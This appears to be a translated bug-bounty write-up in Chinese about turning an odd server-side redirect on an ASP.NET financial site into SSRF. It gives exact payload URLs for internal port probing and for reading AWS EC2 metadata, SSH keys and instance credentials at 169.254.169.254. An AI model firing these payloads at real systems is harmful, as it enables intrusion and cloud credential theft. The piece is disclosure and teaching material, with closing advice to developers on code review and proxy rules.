異常情形的301重定向導致AWS安全憑證泄露
大家好，
本文記錄了我最近滲透的一段經歷，也是我漏洞獎金之旅中遇到的最奇葩有趣的重定向漏洞了，利用它我可以訪問印度頂尖金融公司的AWS EC2憑證信息。接下來介紹我如何從一個不尋常的重定向發現遠程文件包含漏洞（RFI），再把它提升爲服務端請求僞造漏洞（SSRF）並最終獲取AWS EC2的憑證。
最近我一直在研究ASP.NET應用的路由原理——每條URL是如何被路由到正確的應用邏輯或功能中去的。ASP.NET的核心MVC使用路由中間件來匹配傳入的URL請求並將它們映射到動作。很多時候由於錯誤的路由邏輯和不合適的代碼框架，配置錯誤的路由將產生一些非預期的行爲。爲了更好地理解這一點，可以讀下這篇文章。
在測試全印度最大的金融公司時，我發現應用是ASP.NET寫的，並且運行在Windows IIS/10.0之上，可以從響應頭中看出——
爲了理解應用的路由規則，我在原始URL（https://redacted.com/）後面添加了些無用數據——https://redacted.com/xyxyz，按理說會返回404 Not Found。但情形有所不同，我又用“我的賬戶”功能試了試——https://redacted.com/myaccount/xyyyz，同樣我得到了一個301重定向並被路由到請求發起的頁面，即https://redacted.com/myaccount。現在，我在後面添加任何HTTP協議的URL——https://redacted.com/myaccount/http://evilzone.org，頁面內容都變成了重定向後的頁面，但URL維持原狀（https://redacted.com/myaccount/http://evilzone.org），這表明服務端加載了頁面，很可能將請求原樣發送給了upstream服務器，背後的代碼邏輯大概是這樣——
對於像/myaccount這樣的URL，應用執行myaccount.MyProfile動作；對於包含http或https協議的URL，比如/myaccount/^(http|https)://(.*)，接受並轉發給upstream服務器；如果URL沒有匹配以上規則，應用同樣執行myaccount.MyProfile動作。
這些代碼看上去像是臨時環境下的測試代碼，本不該出現在生產環境，但可能被開發者不小心遺留了下來，並且錯誤地配置了upstream代理規則。
現在爲了調試和觀察HTTP請求，我用了款類似Burp Collaborator的工具Requestbin。然後發送了請求https://redacted.com/myaccount/https://en1sxi232vmus.x.pipedream.net/，並得到了以下響應頭——
如圖x-forwarded-for頭中有兩個IP，這很奇怪，我用whois查了一下，發現第一個IP是我路由器的IP，另一個是redacted.com（也是upstream代理服務器）的IP。現在可以確定我之前發現的重定向是服務端重定向，而非客戶端重定向。既然它是服務端重定向，那它很可能構成SSRF（服務端請求僞造）攻擊。服務端的upstream代理可能是這樣的——
# server context, here the victim.com is the value which is passed #by MVC action.
location /myaccount/* {
proxy_set_header HOST $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for, $client_ip ;
proxy_pass http://victim.com/;
}
. . .
我開始測試SSRF並訪問本地主機上的不同端口來檢測開放端口https://redacted.com/myaccount/http://127.0.0.1:80，返回200狀態碼時意味着端口開放（很明顯有應用在該端口運行）。當我請求別的端口，比如21時https://redacted.com/myaccount/http://127.0.0.1:21，它返回——
狀態碼000，不是200說明端口可能已關閉或被防火牆過濾。這其實便是SSRF最簡單的一種利用方式——內部服務端口探測。
現在，進一步觀察響應頭（X-Amz-Cf-Id以及關鍵字cloudfront）發現應用部署在AWS上——
所以無需浪費時間，我直接請求API訪問AWS實例的元數據（http://169.254.169.254/latest/meta-data），完整的URL是——https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data，得到如下響應——
更進一步，我調用API來訪問ssh公鑰https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key併成功得到了它——
這樣，我便有了個SSRF漏洞，可以用它掃描內網端口、訪問EC2元數據，現在用它讀取AWS安全憑證——
該憑證用來向亞馬遜EC2架構的其餘組件標識某一實例，我必須向AWS實例元數據的安全憑證API發起請求，最終的URL是（https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance），如我所料，終於可以控制它了——
但是EC2實例綁定的IAM角色似乎權限有限，因此該漏洞被認定爲低危。以上便是這起由異常的重定向漏洞導致AWS賬戶憑證泄露的全部內容。這個例子很好地說明了一段未被審查的脆弱代碼和一些誤配置規則造成的致命漏洞。值得開發者、廠商吸取的教訓是——不要在沒有同事審查代碼的情況下提交代碼到生產環境，很可能會不小心把測試代碼push到生產環境，要記得檢查手動編寫的代理/路由規則。
感謝閱讀！